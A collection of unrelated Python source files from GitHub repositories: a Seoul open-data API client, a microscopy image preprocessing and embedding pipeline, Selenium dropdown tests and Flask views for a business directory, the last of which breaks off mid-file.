{"seq_id":"42768119810","text":"\"\"\":mod:`seoul.client` --- Client\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n\"\"\"\nfrom datetime import datetime\nfrom typing import List\n\nfrom requests import Session\nfrom requests.adapters import HTTPAdapter\nfrom requests.packages.urllib3.util.retry import Retry\n\nfrom .subway.train import Direction, Train\nfrom .air import CityAirQuality\n\n\nSAMPLE_API_KEY = 'sample'\n\nSUBWAY_BASE_URL = 'http://swopenapi.seoul.go.kr'\nSUBWAY_REALTIME_POSITION_URL = '/api/subway/{api_key}/{format}/realtimePosition/{start_index}/{end_index}/{subway_name}'\n\nAIR_BASE_URL = 'http://openapi.seoul.go.kr:8088'\nAIR_REALTIME_CITY_URL = '/{api_key}/{format}/RealtimeCityAir/{start_index}/{end_index}'\n\n\nclass Client:\n    def __init__(self, api_key: str = SAMPLE_API_KEY):\n        self.api_key = api_key\n\n    def get_air_realtime_city(self, start_index: int = 1, end_index: int = 1000) -> List:\n        \"\"\"Get realtime city air information.\n\n        Specification: http://data.seoul.go.kr/dataList/OA-2219/S/1/datasetView.do\n\n        \"\"\"\n        if self.api_key == SAMPLE_API_KEY:\n            start_index = 0\n            end_index = 5\n\n        url = AIR_BASE_URL + AIR_REALTIME_CITY_URL.format(\n            api_key=self.api_key,\n            format='json',\n            start_index=start_index,\n            end_index=end_index,\n        )\n        s = Session()\n        retries = Retry(status_forcelist=[503])\n        s.mount(AIR_BASE_URL, HTTPAdapter(max_retries=retries))\n        r = s.get(url)\n\n        measurements = []\n        for m in r.json()['RealtimeCityAir']['row']:\n            data = {\n                'measured_at': datetime.strptime(m['MSRDT'], '%Y%m%d%H%M'),\n                'region_name': m['MSRRGN_NM'],\n                'station_name': m['MSRSTE_NM'],\n                'pm10': m['PM10'],\n                'pm25': m['PM25'],\n                'o3': m['O3'],\n                'no2': m['NO2'],\n                'co': m['CO'],\n                'so2': m['SO2'],\n                'index_name': m['IDEX_NM'],\n                'index_value': m['IDEX_MVL'],\n                'index_pollutant': m['ARPLT_MAIN'],\n            }\n            measurements.append(CityAirQuality(**data))\n        return measurements\n\n\n    def get_subway_realtime_position(self, subway_name: str,\n                                     start_index: int = 0, end_index: int = 1000) -> List[Train]:\n        \"\"\"Get realtime train position for subway line.\n        \n        Specification: http://data.seoul.go.kr/dataList/OA-12601/A/1/datasetView.do\n        \n        \"\"\"\n        if self.api_key == SAMPLE_API_KEY:\n            start_index = 0\n            end_index = 5\n\n        s = Session()\n        retries = Retry(status_forcelist=[503])\n        s.mount(SUBWAY_BASE_URL, HTTPAdapter(max_retries=retries))\n        url = SUBWAY_BASE_URL + SUBWAY_REALTIME_POSITION_URL.format(\n            api_key=self.api_key,\n            format='json',\n            subway_name=subway_name,\n            start_index=start_index,\n            end_index=end_index,\n        )\n        r = s.get(url)\n\n        d = r.json()\n        if 'realtimePositionList' not in d:\n            \"\"\"\n            code: 'INFO-200'\n            message: '해당하는 데이터가 없습니다.'\n\n            Returned when the subway line has ended operations for the day.\n            \"\"\"\n            if d['status'] == 500 and d['code'] == 'INFO-200':\n                return []\n\n            raise Exception(f\"{d['code']}: {d['message']}\")\n        else:\n            trains = []\n            for t in d['realtimePositionList']:\n                data = {\n                    'subway_id': t['subwayId'],\n                    'subway_name': t['subwayNm'],\n                    'station_id': t['statnId'],\n                    'station_name': t['statnNm'],\n                    'terminal_station_id': t['statnTid'],\n                    'terminal_station_name': t['statnTnm'],\n                    'number': t['trainNo'],\n                    'status': t['trainSttus'],\n                    'direction': Direction(int(t['updnLine'])),\n                    'updated_at': datetime.strptime(t['recptnDt'], '%Y-%m-%d %H:%M:%S'),\n                    'express': t['directAt'] == '1',\n                    'last': t['lstcarAt'] == '1',\n                }\n                trains.append(Train(**data))\n            return trains\n","repo_name":"limeburst/seoul-py","sub_path":"seoul/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":4282,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"4135757407","text":"class App:\n    def __init__(self, app_json: dict[str, str] | dict[str, dict[str, int]] = None):\n        if app_json:\n            self.fromJSON(app_json)\n        else:\n            self.title = \"\"\n            self.path = \"\"\n            self.hours = 0\n            self.minutes = 0\n\n        self.current_hours = 0\n        self.current_minutes = 0\n\n    def toJSON(self) -> dict[str, str] | dict[str, dict[str, int]]:\n        return {\n                \"title\": self.title,\n                \"path\": self.path,\n                \"total_time\": {\n                        \"hours\": self.hours,\n                        \"minutes\": self.minutes\n                    }\n            }\n\n    def fromJSON(self, app_json: dict[str, dict[str, int]] | dict[str, str]) -> None:\n        self.title = app_json['title']\n        self.path = app_json['path']\n        self.hours = app_json['total_time']['hours']\n        self.minutes = app_json['total_time']['minutes']\n","repo_name":"AlrondPrime/Tortuga","sub_path":"src/App.py","file_name":"App.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2877830015","text":"import sys\nimport inspect\nimport argparse\nimport pickle\nfrom pathlib import Path\nfrom importlib import import_module\nfrom tqdm import tqdm\n\nimport utils\nimport pipeline\nfrom pipeline import create_image_paths_file, image_paths_from_folders, create_data_path_index, load_index_paths, load_channel_names, save_channel_names\nfrom pipeline import segmentator_setup, get_masks, normalize_images, clean_and_save_masks, crop_images, resize, filter_images_by_sharpness, filter_masks_by_sharpness\nfrom stats import pixel_range_info, normalization_dry_run, image_by_level_set, sample_sharpness, sharpness_dry_run\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\nimport torch\nimport numpy as np\nfrom torch.utils.data import DataLoader\n\nutils.silent = True\npipeline.suppress_warnings = True\n\nstats_opt = ['norm', 'pix_range', 'int_img', 'sample', 'sharp', 'name']\nstats_opt_desc = {\n    'norm': 'Normalize images and show results and statistics',\n    'pix_range': 'Show pixel range statistics, esp percentile intensities per channel',\n    'int_img': 'Show image level intensity statistics',\n    'sample': 'Show sample images from final dataset',\n    'sharp': 'Show sharpness statistics',\n    'name': 'Show dataset names'\n}\nstats_desc = '\\n'.join([f\"{opt}: {stats_opt_desc[opt]};\" for opt in stats_opt])\nNORM, PIX_RANGE, INT_IMG, SAMPLE, SHARP, NAME = 0, 1, 2, 3, 4, 5\n\nparser = argparse.ArgumentParser(description='Dataset preprocessing pipline')\nparser.add_argument('--data_dir', type=str, help='Path to dataset, should be absolute path', required=True)\nparser.add_argument('--output_dir', type=str , help='Path to output directory, should be absolute path')\nparser.add_argument('--config', type=str, help='Path to config file, should be absolute path')\nparser.add_argument('--name', type=str, help='Name of dataset version to look up in dataset folder (used for cached results)', default='unspecified')\nparser.add_argument('--stats', type=str, help=f\"Image stats to show, options include: {stats_opt}\\n{stats_desc}\", choices=stats_opt)\nparser.add_argument('--viz_num', type=int, default=5, help='Number of samples to show')\nparser.add_argument('--calc_num', type=int, default=30, help='Number of samples to use for calculating image stats')\nparser.add_argument('--all', action='store_true', help='Run all steps')\nparser.add_argument('--image_mask_cache', action='store_true', help='Save images')\nparser.add_argument('--clean_masks', action='store_true', help='Clean masks: remove small objects and join cells without nuclei, etc.')\nparser.add_argument('--filter_sharpness', action='store_true', help='Filter out blurry images based on config sharpness threshold')\nparser.add_argument('--normalize', action='store_true', help='Normalize images')\nparser.add_argument('--single_cell', action='store_true', help='Crop and save single cell images')\nparser.add_argument('--rgb', action='store_true', help='Convert images to RGB')\nparser.add_argument('--dino_cls', action='store_true', help='Cache dino cls embeddings')\nparser.add_argument('--dino_cls_ref', action='store_true', help='Cache dino cls embeddings on reference channels only')\nparser.add_argument('--fucci_gmm', action='store_true', help='Fit GMM to FUCCI intensities')\nparser.add_argument('--batch_size', type=int, default=10, help='Batch size for dino inference')\nparser.add_argument('--device', type=int, default=7, help='GPU device number')\nparser.add_argument('--rebuild', action='store_true', help='Rebuild specifed steps even if files exist')\nparser.add_argument('--save_samples', action='store_true', help='Save sample outputs for each well')\n\nargs = parser.parse_args()\n\n#===================================================================================================\n# Basic Setup\n#===================================================================================================\nDATA_DIR = Path(args.data_dir)\nif not DATA_DIR.is_absolute():\n    DATA_DIR = Path.cwd() / DATA_DIR\n    print(f\"Converted relative path to absolute path: {DATA_DIR}\")\nif not DATA_DIR.exists():\n    raise ValueError(f\"Data directory {DATA_DIR} does not exist\")\n\nOUTPUT_DIR = Path(args.output_dir) if args.output_dir is not None else Path.cwd() / \"output\"\nif not OUTPUT_DIR.exists():\n    OUTPUT_DIR.mkdir(parents=True)\n    print(f\"Created output directory {OUTPUT_DIR}\")\n\nargs.config = Path(args.config)\nif not args.config.is_absolute():\n    args.config = Path.cwd() / args.config\nif not args.config.exists():\n    raise ValueError(f\"Config file {args.config} does not exist\")\nsys.path.append(str(args.config.parent))\nconfig = import_module(str(args.config.stem))\n\ndevice = f\"cuda:{args.device}\" if torch.cuda.is_available() else \"cpu\"\nprint(f\"Using device {device}\")\n\n#===================================================================================================\n# Set up paths for data and results\n#===================================================================================================\nno_name = (args.name == 'unspecified')\nBASE_INDEX = DATA_DIR / \"index.csv\"\n\nCLEAN_SUFFIX = f\"{'no_border_' if config.rm_border else ''}{'rm_' + str(config.remove_size)}\"\nCLEAN_INDEX = DATA_DIR / f\"index_clean_{CLEAN_SUFFIX}.csv\"\n\nSHARP_SUFFIX = f\"{config.sharpness_threshold}\".split(\".\")[-1] if config.sharpness_threshold is not None else \"none\"\nSHARP_INDEX = DATA_DIR / f\"{CLEAN_INDEX.stem}_sharp_{SHARP_SUFFIX}.csv\"\n\nif config.norm_strategy in ['threshold', 'percentile']:\n    NORM_SUFFIX = f\"{config.norm_strategy}{f'_{config.norm_min}_{config.norm_max}' if config.norm_strategy in ['threshold', 'percentile'] else ''}\"\nelif config.norm_strategy == 'spline':\n    if args.image_mask_cache or args.all:\n        print(\"WARNING: automatically setting buckets to 2^8 for spline normalization\")\n        buckets = 2 ** 8\n    else:\n        from well_normalization import buckets\n    NORM_SUFFIX = f\"{config.norm_strategy}_{buckets}\"\nelse:\n    NORM_SUFFIX = config.norm_strategy\nNORM_INDEX = DATA_DIR / f\"{CLEAN_INDEX.stem if config.sharpness_threshold is None else SHARP_INDEX.stem}_norm_{NORM_SUFFIX}.csv\"\n\nNAME_INDEX = DATA_DIR / f\"index_{args.name}.csv\"\nCONFIG_FILE = DATA_DIR / f\"{args.name}.py\"\n\ntry:\n    sys.path.append(str(CONFIG_FILE.parent))\n    dataset_config = None if no_name else import_module(str(CONFIG_FILE.stem))\nexcept ModuleNotFoundError:\n    if NAME_INDEX.exists():\n        print(f\"Config file {CONFIG_FILE} not found, but index file {NAME_INDEX} exists, this should not be the case\")\n    dataset_config = None\n\nRGB_DATASET = DATA_DIR / f\"rgb_{args.name}.pt\"\nEMBEDDINGS_DATASET = DATA_DIR / f\"embeddings_{args.name}.pt\"\nGMM_PATH = DATA_DIR / f\"gmm_{args.name}.pkl\"\nGMM_PROBS = DATA_DIR / f\"gmm_probs_{args.name}.pt\"\n\nCHANNELS = load_channel_names(DATA_DIR) if config.channels is None else config.channels\nif config.channels is None:\n    save_channel_names(DATA_DIR, CHANNELS)\nDAPI, TUBL, CALB2 = config.dapi, config.tubl, config.calb2\n\n#===================================================================================================\n# Implementation of Pipeline Steps\n#===================================================================================================\nif args.stats is not None:\n    if args.stats == stats_opt[NAME]:\n        # find all files like index_{name}.csv and print name\n        print(f\"Dataset names:\")\n        for file in DATA_DIR.glob(\"index_*.csv\"):\n            print(f\"{file.stem[6:]}\")\n\n    data_paths_file, num_paths = create_image_paths_file(DATA_DIR, level=config.grouping)\n    image_paths = image_paths_from_folders(data_paths_file)\n    if args.stats == stats_opt[PIX_RANGE]:\n        pixel_range_info(args, image_paths, CHANNELS, OUTPUT_DIR)\n    if args.stats == stats_opt[NORM]:\n        normalization_dry_run(args, config, image_paths, CHANNELS, OUTPUT_DIR, device)\n    if args.stats == stats_opt[INT_IMG]:\n        image_by_level_set(args, image_paths, CHANNELS, OUTPUT_DIR)\n    if args.stats == stats_opt[SAMPLE]:\n        from data_viz import save_image_grid, save_image\n        assert not no_name, \"Name of dataset must be specified\"\n        assert dataset_config is not None, \"Dataset config file must be specified via name, this means that the config for this data doesn't exist or doesn't make the provided name\"\n        assert BASE_INDEX.exists() and NAME_INDEX.exists(), \"Index files do not exist, run pipeline with at least until --single_cell\"\n        ORIGINAL_IMG = OUTPUT_DIR / \"original_image.png\"\n        DATASET_IMG = OUTPUT_DIR / \"dataset_cells.png\"\n        image_paths, _, _ = load_index_paths(BASE_INDEX)\n        og_image_paths = image_paths[:args.viz_num]\n        dataset_image_paths, _, _ = load_index_paths(NAME_INDEX)\n        dataset_image_paths = dataset_image_paths[:args.viz_num]\n        for i, (image_path, cell_images_path) in enumerate(zip(og_image_paths, dataset_image_paths)):\n            image = torch.tensor(np.load(image_path).astype(np.float32)).squeeze()\n            cell_images = torch.load(cell_images_path)\n            img_file = ORIGINAL_IMG.with_name(f\"{ORIGINAL_IMG.stem}_{i}{ORIGINAL_IMG.suffix}\")\n            cell_file = DATASET_IMG.with_name(f\"{DATASET_IMG.stem}_{i}{DATASET_IMG.suffix}\")\n            save_image(image, img_file, cmaps=dataset_config.cmaps)\n            save_image_grid(cell_images, cell_file, nrow=5, cmaps=dataset_config.cmaps)\n    if args.stats == stats_opt[SHARP]:\n        assert not no_name, \"Name of dataset must be specified\"\n        assert dataset_config is not None, \"Dataset config file must be specified via name, this means that the config for this data doesn't exist or doesn't make the provided name\"\n        assert NAME_INDEX.exists(), \"Index files do not exist, run pipeline with at least until --single_cell\"\n        assert config.sharpness_threshold is not None, \"Sharpness threshold must be specified in config file\"\n        dataset_image_paths, _, _ = load_index_paths(NAME_INDEX)\n        dataset_image_paths = dataset_image_paths[:args.calc_num]\n        sharpness_dry_run(dataset_image_paths, config.sharpness_threshold, OUTPUT_DIR, dataset_config.cmaps)\n\nif args.image_mask_cache or args.all:\n    print(\"Caching composite images and getting segmentation masks\")\n    data_paths_file, num_paths = create_image_paths_file(DATA_DIR, level=config.grouping, overwrite=args.rebuild)\n    image_paths = image_paths_from_folders(data_paths_file)\n    if BASE_INDEX.exists() and not args.rebuild:\n        print(\"Index file already exists, skipping. Set --rebuild to overwrite.\")\n        save_channel_names(DATA_DIR, CHANNELS)\n    else:\n        multi_channel_model = True if CALB2 is not None else False\n        segmentator = segmentator_setup(multi_channel_model, device)\n        image_paths, nuclei_mask_paths, cell_mask_paths = get_masks(segmentator, image_paths, CHANNELS, DAPI, TUBL, CALB2, rebuild=args.rebuild)\n        create_data_path_index(image_paths, cell_mask_paths, nuclei_mask_paths, BASE_INDEX, overwrite=True)\n        save_channel_names(DATA_DIR, CHANNELS)\n\nif args.clean_masks or args.all:\n    if CLEAN_INDEX.exists() and not args.rebuild:\n        print(\"Index file already exists, skipping. Set --rebuild to overwrite.\")\n    else:\n        print(\"Cleaning masks\")\n        assert BASE_INDEX.exists(), \"Index file does not exist, run --image_mask_cache first\"\n        image_paths, cell_mask_paths, nuclei_mask_paths = load_index_paths(BASE_INDEX)\n        clean_cell_mask_paths, clean_nuclei_mask_paths, num_original, num_removed = clean_and_save_masks(cell_mask_paths, nuclei_mask_paths, CLEAN_SUFFIX,\n            rm_border=config.rm_border, remove_size=config.remove_size)\n        create_data_path_index(image_paths, clean_cell_mask_paths, clean_nuclei_mask_paths, CLEAN_INDEX, overwrite=True)\n        print(\"Fraction removed:\", num_removed / num_original)\n        print(\"Total cells removed:\", num_removed)\n        print(\"Total cells remaining:\", num_original - num_removed)\n\nif args.filter_sharpness or args.all:\n    assert CLEAN_INDEX.exists(), \"Index file does not exist, run --clean_masks first\"\n    clean_image_paths, clean_cell_mask_paths, clean_nuclei_mask_paths = load_index_paths(CLEAN_INDEX)\n    # we just overwrite the segmentation masks with the filtered ones so no need to get new paths\n    sharp_cell_mask_paths, sharp_nuclei_mask_paths, num_removed, num_total = filter_masks_by_sharpness(clean_image_paths, \n        clean_cell_mask_paths, clean_nuclei_mask_paths, config.sharpness_threshold, config.dapi, config.tubl, SHARP_SUFFIX,\n        args.save_samples, config.cmaps)\n    create_data_path_index(clean_image_paths, sharp_cell_mask_paths, sharp_nuclei_mask_paths, SHARP_INDEX, overwrite=True)\n    print(\"Fraction blurry that were removed:\", num_removed / num_total)\n\nif args.normalize or args.all:\n    import well_normalization as spline\n    print(\"Normalizing images\")\n    if NORM_INDEX.exists() and not args.rebuild:\n        print(\"Index file already exists, skipping. Set --rebuild to overwrite.\")\n    else:\n        assert SHARP_INDEX.exists() or CLEAN_INDEX.exists(), \"Index file does not exist, run --image_mask_cache (and optionally --clean_masks) first\"\n        if config.sharpness_threshold is not None:\n            print(\"Using sharpness filtered images\")\n            SRC_INDEX = SHARP_INDEX\n        else:\n            print(\"Using cleaned images\")\n            SRC_INDEX = CLEAN_INDEX\n        assert SRC_INDEX.exists(), \"Index file does not exist, run --filter_sharpness (and optionally --clean_masks) first\"\n        assert config.norm_strategy is not None, \"Normalization strategy not set in config\"\n\n        if config.norm_strategy == 'spline':\n            if SRC_INDEX != spline.PRECALC_INDEX_PATH:\n                raise NotImplementedError(\"Spline normalization requires precalculated well percentiles, run well_percentiles.ipynb and well_normalization.py first with your desired input data.\")\n            image_paths, cell_mask_paths, nuclei_mask_paths = load_index_paths(spline.PRECALC_INDEX_PATH)\n            mask_paths = cell_mask_paths\n            normalized_image_paths = []\n            for i, (image_path, mask_path) in tqdm(enumerate(zip(image_paths, mask_paths)), total=len(image_paths), desc=\"Calculating well percentiles\"):\n                normalization_function = spline.well_normalization_map(spline.well_percentiles[i], spline.normalized_well_percentiles[i], range_max=(np.iinfo(np.uint16).max + 1))\n                images = np.load(image_path).astype(\"float32\")\n                masks_path = str(mask_path) + \".npy\"\n                masks = np.load(masks_path)[:, None, ...].astype(\"float32\")\n                images = images * (masks > 0)\n                images = images\n                normalized_images = normalization_function(np.copy(images))\n                new_image_path = image_path.parent / (image_path.stem + f\"_spline_{spline.buckets}_normalized\")\n                np.save(new_image_path, normalized_images)\n                new_image_path = new_image_path.parent / (new_image_path.stem + \".npy\")\n                normalized_image_paths.append(new_image_path)\n            create_data_path_index(normalized_image_paths, cell_mask_paths, nuclei_mask_paths, NORM_INDEX, overwrite=True)\n        else:\n            image_paths, cell_mask_paths, nuclei_mask_paths = load_index_paths(SRC_INDEX)\n            norm_paths = normalize_images(image_paths, cell_mask_paths, config.norm_strategy, config.norm_min, config.norm_max,\n                NORM_SUFFIX, batch_size=100 if config.grouping == -1 else 1, save_samples=args.save_samples, cmaps=config.cmaps)\n            create_data_path_index(norm_paths, cell_mask_paths, nuclei_mask_paths, NORM_INDEX, overwrite=True)\n\nif args.single_cell or args.all:\n    print(\"Cropping single cell images\")\n    assert not no_name, \"Name of dataset must be specified\"\n    if NAME_INDEX.exists() and not args.rebuild:\n        print(\"Index file already exists, skipping. Set --rebuild to overwrite.\")\n    else:\n        assert NORM_INDEX.exists(), \"Index file for normalized images does not exist, run --normalize first\"\n        print(NORM_INDEX)\n        image_paths, cell_mask_paths, nuclei_mask_paths = load_index_paths(NORM_INDEX)\n        seg_image_paths, clean_cell_mask_paths, clean_nuclei_mask_paths = crop_images(image_paths, cell_mask_paths, nuclei_mask_paths, config.cutoff, config.nuc_margin)\n        final_image_paths, final_cell_mask_paths, final_nuclei_mask_paths = resize(seg_image_paths, clean_cell_mask_paths, clean_nuclei_mask_paths, config.output_image_size, args.name)\n        create_data_path_index(final_image_paths, final_cell_mask_paths, final_nuclei_mask_paths, NAME_INDEX, overwrite=True)\n\n        # save the source of the config module to the data directory with name args.name + '.py'\n        # this will allow us to reproduce the results later\n        with open(CONFIG_FILE, \"w\") as f:\n            f.write(\"\\n\\n# Source of config module:\\n\")\n            f.write(f\"\\n\\n# Using normalized images from {NORM_INDEX}:\\n\")\n            f.write(inspect.getsource(config))\n\n        dataset_config = config\n\nif args.rgb or args.all:\n    from data import CellImageDataset, SimpleDataset\n    assert not no_name, \"Name of dataset must be specified\"\n    assert dataset_config is not None, \"Dataset config file must be specified via name, this means that the config for this data doesn't exist or doesn't make the provided name\"\n    if SimpleDataset.has_cache_files(RGB_DATASET) and not args.rebuild:\n        print(\"RGB images file already exists, skipping. Set --rebuild to overwrite.\")\n    else:\n        print(\"Creating RGB images\")\n        assert NAME_INDEX.exists(), \"Index file for single cell images does not exist, run --single_cell first\"\n        assert CONFIG_FILE.exists(), \"Config file does not exist for the dataset, something might have gone wrong when you ran --single_cell\"\n        dataset = CellImageDataset(NAME_INDEX, dataset_config.cmaps, batch_size=args.batch_size)\n        rgb_dataset = dataset.as_rgb()\n        rgb_dataset.save(RGB_DATASET)\n\nif args.dino_cls or args.dino_cls_ref or args.all:\n    from data import CellImageDataset, SimpleDataset\n    from models import DINO\n    assert not (args.dino_cls and args.dino_cls_ref), \"Cannot run both DINO classification and DINO classification with reference at the same time, please run separately.\"\n    assert not no_name, \"Name of dataset must be specified\"\n    assert dataset_config is not None, \"Dataset config file must be specified via name, this means that the config for this data doesn't exist or doesn't make the provided name\"\n\n    if args.dino_cls_ref:\n        EMBEDDINGS_DATASET = EMBEDDINGS_DATASET.parent / (\"ref_\" + EMBEDDINGS_DATASET.name)\n\n    if EMBEDDINGS_DATASET.exists() and not args.rebuild:\n        print(\"Embeddings file already exists, skipping. Set --rebuild to overwrite.\")\n    else:\n        assert args.dino_cls_ref or SimpleDataset.has_cache_files(RGB_DATASET), \"RGB dataset does not exist, run --rgb first\"\n        assert args.dino_cls or NAME_INDEX.exists(), \"Index file for single cell images does not exist, run --single_cell first\"\n        print(\"Running DINO model to get embeddings\")\n        if type(dataset_config.output_image_size) != tuple:\n            dataset_config.output_image_size = (dataset_config.output_image_size, dataset_config.output_image_size)\n        dino = DINO(imsize=dataset_config.output_image_size).to(device)\n        if args.dino_cls:\n            dataset = SimpleDataset(path=RGB_DATASET)\n        elif args.dino_cls_ref:\n            dataset = CellImageDataset(NAME_INDEX, [\"pure_blue\", \"pure_red\"], channels=[0, 1])\n            assert dataset[0].shape[0] == 2, \"Dataset should've been only two channels at this point, got shape \" + str(dataset[0].shape)\n            dataset = dataset.as_rgb()\n            assert dataset[0].shape[0] == 3, \"Dataset should've been converted to RGB at this point, got shape \" + str(dataset[0].shape)\n            assert torch.sum(dataset[0:10, 1, :, :] != 0) == 0, \"Dataset should've been converted to RGB with green channel zeroed out\"\n        dataloader = DataLoader(dataset, batch_size=args.batch_size, num_workers=1, shuffle=False)\n\n        embeddings = []\n        with torch.no_grad():\n            for batch in tqdm(iter(dataloader), desc=\"Embedding images with DINOv2\"):\n                batch = batch.to(device)\n                batch_embedding = dino(batch).cpu()\n                embeddings.append(batch_embedding)\n        embeddings = torch.cat(embeddings)\n\n        torch.save(embeddings, EMBEDDINGS_DATASET)\n        print(embeddings.shape)\n\n\nif args.fucci_gmm or args.all:\n    from sklearn.mixture import GaussianMixture\n    from data import CellImageDataset, SimpleDataset\n    assert not no_name, \"Name of dataset must be specified\"\n    assert NAME_INDEX.exists(), \"Index file for single cell images does not exist, run --single_cell first\"\n    if GMM_PROBS.exists() and not args.rebuild:\n        print(\"GMM probabilities file already exists, skipping. Set --rebuild to overwrite.\")\n    else:\n        dataset = CellImageDataset(NAME_INDEX)\n        dataloader = DataLoader(dataset, batch_size=1000, num_workers=1, shuffle=False)\n        FUCCI_intensities = []\n        for batch in tqdm(iter(dataloader), desc=\"Getting FUCCI intensities\"):\n            FUCCI_intensities.append(torch.mean(batch[:, 2:], dim=(2, 3)))\n        FUCCI_intensities = torch.cat(FUCCI_intensities)\n        FUCCI_intensities = torch.log10(FUCCI_intensities + 1e-6)\n        plt.clf()\n        sns.kdeplot(x=FUCCI_intensities[:, 0], y=FUCCI_intensities[:, 1])\n        plt.savefig(DATA_DIR / f\"fucci_plot_{args.name}.png\")\n        plt.clf()\n\n        print(\"Creating GMM\")\n        gmm = GaussianMixture(n_components=3)\n        gmm.fit(FUCCI_intensities)\n        pickle.dump(gmm, open(GMM_PATH, \"wb\"))\n        print(\"Saved GMM to pickle file at \" + str(GMM_PATH))\n\n        print(\"Creating GMM probabilities\")\n        probs = gmm.predict_proba(FUCCI_intensities)\n        probs = torch.tensor(probs)\n        torch.save(probs, GMM_PROBS)\n        print(\"Saved GMM probabilities to torch .pt file at \" + str(GMM_PROBS))\n        GMM_PLOT = OUTPUT_DIR / f\"gmm_plot_{args.name}.png\"\n        plt.clf()\n        sns.kdeplot(x=FUCCI_intensities[:, 0], y=FUCCI_intensities[:, 1], hue=probs.argmax(dim=1), palette=\"Set2\")\n        plt.savefig(GMM_PLOT)\n        plt.clf()\n        print(\"Saved GMM plot to \" + str(GMM_PLOT))","repo_name":"ishan-gaur/HPA-embedding","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":22310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"10702281442","text":"import pytest\nimport pytest_check as check\n\nfrom pages.home.login_page import HomePage\nfrom utilities.BaseClass import BaseClass\nfrom utilities.reusablemethods import CustomMethods\n\n\nclass Test_dropdown_validation(BaseClass):\n\n    @pytest.mark.skip\n    def test_dropdown_staticDropDown(self):\n        log = self.getLogger()\n        res = CustomMethods(self.driver)\n        hPage = HomePage(self.driver)\n        hPage.select_visibleText_In_DropDown(\"Option2\")\n        log.info(\"Selected the option Option 2\")\n        check.is_true(res.compare_two_strings(hPage.get_selected_option(), \"Option2\"))\n\n    @pytest.mark.skip\n    def test_allValues_In_DropDown(self):\n        log = self.getLogger()\n        res = CustomMethods(self.driver)\n        hPage = HomePage(self.driver)\n        count = hPage.print_all_Values_dropdown()\n        log.info(\"checking the count of values in drop down\")\n        check.is_true(count == 4)\n\n    @pytest.mark.skip\n    def test_select_value_from_autosuggestion(self):\n        log = self.getLogger()\n        res = CustomMethods(self.driver)\n        hPage = HomePage(self.driver)\n        hPage.select_value_from_autocomplete(\"aus\", \"austria\")\n        text_selected = res.getText_from_textbox(hPage.autocomplete_locator, hPage.autocomplete_locatortype)\n        log.info(\"Auto complete text --> \"+text_selected)\n        check.is_true(res.compare_two_strings(text_selected, \"austria\"))\n","repo_name":"sanjay2018-Eng/python_Frame_Prac","sub_path":"comtests/Practice/test_checkDropDown.py","file_name":"test_checkDropDown.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71177347941","text":"from flask import render_template,request,redirect,url_for,abort\nfrom flask_wtf import form\nfrom . import main\nfrom flask_login import login_required,current_user,login_user,logout_user\nfrom .forms import UpdateProfile,BusinessForm,ReviewForm, SearchForm,LocationSearchForm\nfrom .. import db,photos\nfrom ..models import User,Business,Review\nfrom app import models\n\n#views\n@main.route('/')\ndef index():\n    search_bs = request.args.get(\"location\")\n    search_service = request.args.get(\"service\")\n    businessOnLocation = Business.query.filter_by(location=search_bs).all()\n    businessByService = Business.query.filter_by(service=search_service).all()\n\n\n    return render_template('index.html',businessOnLocation=businessOnLocation,businessByService=businessByService)\n\n@main.route('/all')\ndef all():\n    all_business = Business.query.filter_by().all()\n    return render_template('all.html',all_business=all_business)\n\n\n@main.route('/user/<uname>')\ndef profile(uname):\n    user = User.query.filter_by(username = uname).first()\n    business = Business.query.filter_by(user_id = current_user.id).all()\n    if user is None:\n        abort(404)\n\n    return render_template(\"profile/profile.html\", user = user, business=business)\n\n\n@main.route('/user/<uname>/update',methods = ['GET','POST'])\n@login_required\ndef update_profile(uname):\n    user = User.query.filter_by(username = uname).first()\n    if user is None:\n        abort(404)\n\n    form = UpdateProfile()\n\n    if form.validate_on_submit():\n        user.bio = form.bio.data\n\n        db.session.add(user)\n        db.session.commit()\n\n        return redirect(url_for('.profile',uname=user.username))\n\n    return render_template('profile/update.html',form =form)\n\n\n@main.route('/user/<uname>/update/pic',methods= ['POST'])\n@login_required\ndef update_pic(uname):\n    user = User.query.filter_by(username = uname).first()\n    if 'photo' in request.files:\n        filename = photos.save(request.files['photo'])\n        path = f'photos/{filename}'\n        user.profile_pic_path = path\n        db.session.commit()\n    return redirect(url_for('main.profile',uname=uname)) \n\n\n@main.route('/user/<uname>/business',methods= ['POST','GET'])\n@login_required\ndef upload_business(uname):\n    user = User.query.filter_by(username = uname).first()\n    form = BusinessForm()\n    if user is None:\n        abort(404)\n\n    if form.validate_on_submit():\n        businessname = form.businessname.data\n        contact = form.contact.data\n        service = form.service.data\n        location= form.location.data\n        website = form.website.data\n        user_id = current_user.id\n\n        \n        business = Business(businessname=businessname,contact=contact,service=service,location=location,website=website,user_id=user_id)\n        business.save_business()\n        return redirect(url_for('main.all'))\n    return render_template('upload_business.html',form=form,title='Add Business',legend='Add Business')\n    \n    \n@main.route('/search', methods=['GET', 'POST'])\ndef search():\n    searchform = SearchForm()\n    if searchform.validate_on_submit():\n        selectedservice = searchform.service.data\n        businessByService = Business.query.filter_by(service=selectedservice).all()\n        return render_template('results.html',businessByService=businessByService)\n    return render_template('search.html',searchform=searchform,title='Search',legend='Add Business')\n\n\n\n@main.route('/location',methods=['GET', 'POST'])\ndef location():\n    search_bs = request.args.get(\"location\") \n    businessOnLocation = Business.query.filter_by(location=search_bs).all()\n    return render_template('results.html',businessOnLocation=businessOnLocation)\n\n\n# @main.route('/location',methods=['GET', 'POST'])\n# def location():\n#     locationform = LocationSearchForm()\n#     if locationform.validate_on_submit():\n#         selectedlocation = locationform.location.data\n#         businessOnLocation = Business.query.filter_by(location=selectedlocation).all()\n#         return render_template('results.html',businessOnLocation=businessOnLocation)\n#     return render_template('location.html',locationform=locationform,title='Search',legend='Add Business')\n\n\n# locationform = LocationSearchForm()\n#     if locationform.validate_on_submit():\n#         businesses = Business.query.filter_by().all()\n#         